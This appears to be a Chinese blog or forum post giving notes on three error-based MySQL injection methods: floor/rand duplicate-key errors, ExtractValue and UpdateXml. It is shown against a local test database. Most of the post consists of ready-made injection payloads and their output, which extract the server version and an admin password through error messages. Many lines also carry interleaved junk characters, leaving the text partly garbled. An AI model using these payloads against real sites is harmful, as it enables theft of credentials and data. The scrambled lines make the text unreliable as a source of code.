关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
​

$ J, A- L0 Z! J) lmysql> show tables;
+----------------+
' T5 l  c# f% B( f0 A* R| Tables_in_test |
+----------------+
| admin          |
| article        |
+----------------+

  w+ u# W5 B% O7 z. J' f8 m. L2 t' `
' d4 w. d* u8 p
mysql> describe admin;
! X8 D# o2 w$ @5 H( k6 t! E& l+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
/ F$ s7 n! m2 h) ?2 X+-------+------------------+------+-----+---------+----------------+
  d3 |6 H: y# ^| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
+ z: T* J) p9 q7 D+ @8 Y9 i+ i| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
3 u! N/ g& r1 V) w


mysql> describe article;
5 w) ?9 p3 j  @" T0 S( F0 h+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
* c$ e; k' k1 \4 ^/ ?) O* @+ x, {0 `| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
+ }0 e. t/ }- f& d$ ]| title   | varchar(50)      | NO   |     | NULL    |                |
; ^, E0 P4 K: E  T, B: ?| content | varchar(50)      | NO   |     | NULL    |                |
4 ]5 W* X! T; i5 z* R3 G+---------+------------------+------+-----+---------+----------------+
4 Z. g( I% D* U3 B: M& X1、通过floor报错
8 O9 a& T: ]& h' n' ^3 A可以通过如下一些利用代码


' y) Z+ w6 a; K* ^and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
* s% b2 M! B. H9 o9 O& [3 f, w. \from information_schema.tables group by x)a);
. H6 y& G7 L. A6 W& Z3 R

2 p2 m, j* `8 v  a  land (select count(*) from (select 1 union select null union select !1)x
1 c$ d. g6 v/ Mgroup by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
首先进行正常查询：

! H% a5 ?5 H/ T8 ?mysql> select * from article where id = 1;
' o* l) R' w7 i: L- ?+----+-------+---------+
. _3 f& e6 z7 r| id | title | content |
+----+-------+---------+
% ?" ~. R) {9 Z" {& Y|  1 | test  | do it   |
* g6 H8 A3 b$ D  R  K+----+-------+---------+
- @# [& D8 j2 c) Q假如id输入存在注入的话，可以通过如下语句进行报错。


  B# T* K, E3 u7 u3 V2 [' Q0 G7 ~( Umysql> select * from article where id = 1 and (select 1 from
/ z% H" _1 C( b( Q; P$ g(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:
' e) u  I! Z$ o- F9 y- Z  z
  m( t7 ]7 g: R. z, q: D9 `. C5 W$ {
$ _! [' _- ^2 U" J! C% Umysql> select * from article where id = 1 and (select 1 from
) Q$ Y) w2 |; l0 @. ?(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
% O5 D. o/ s0 \. m6 D' ?from information_schema.tables group by x)a);
- h5 j0 y1 B- u. j7 r9 }ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
0 o/ I* J2 n1 t; C& x0 lMethod2:

1 {7 a  R7 [* e; c
+ T1 I$ T! i4 a" Vmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
  S1 A/ G9 r" C, ?. ffloor(rand(0)*2)));
# y# J- u7 _6 }- c- ]; CERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
* ]1 r6 J9 Y5 e& M. U) h7 {! ?测试语句如下
7 ?3 F5 U0 {9 f* H  x
! N% s2 Z. q, D6 U( V
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
! O' ]" ?& [4 o: ~实际测试过程


mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句

' c7 W) v3 d' T% k( j
/ H; k! V# o  j' u7 R0 d7 land 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
* E) C: q/ h9 b" d( [实际测试过程
, N! J9 c" X; C% v: N3 O
8 I; B0 n+ j. y; w& L; I1 ~
" j6 A1 t" G/ l9 S7 z; p/ Lmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
1 N" w( {+ [7 Z+ ^% D9 ^9 h' j% oERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

. V& ?/ x1 {' k  g; [, X​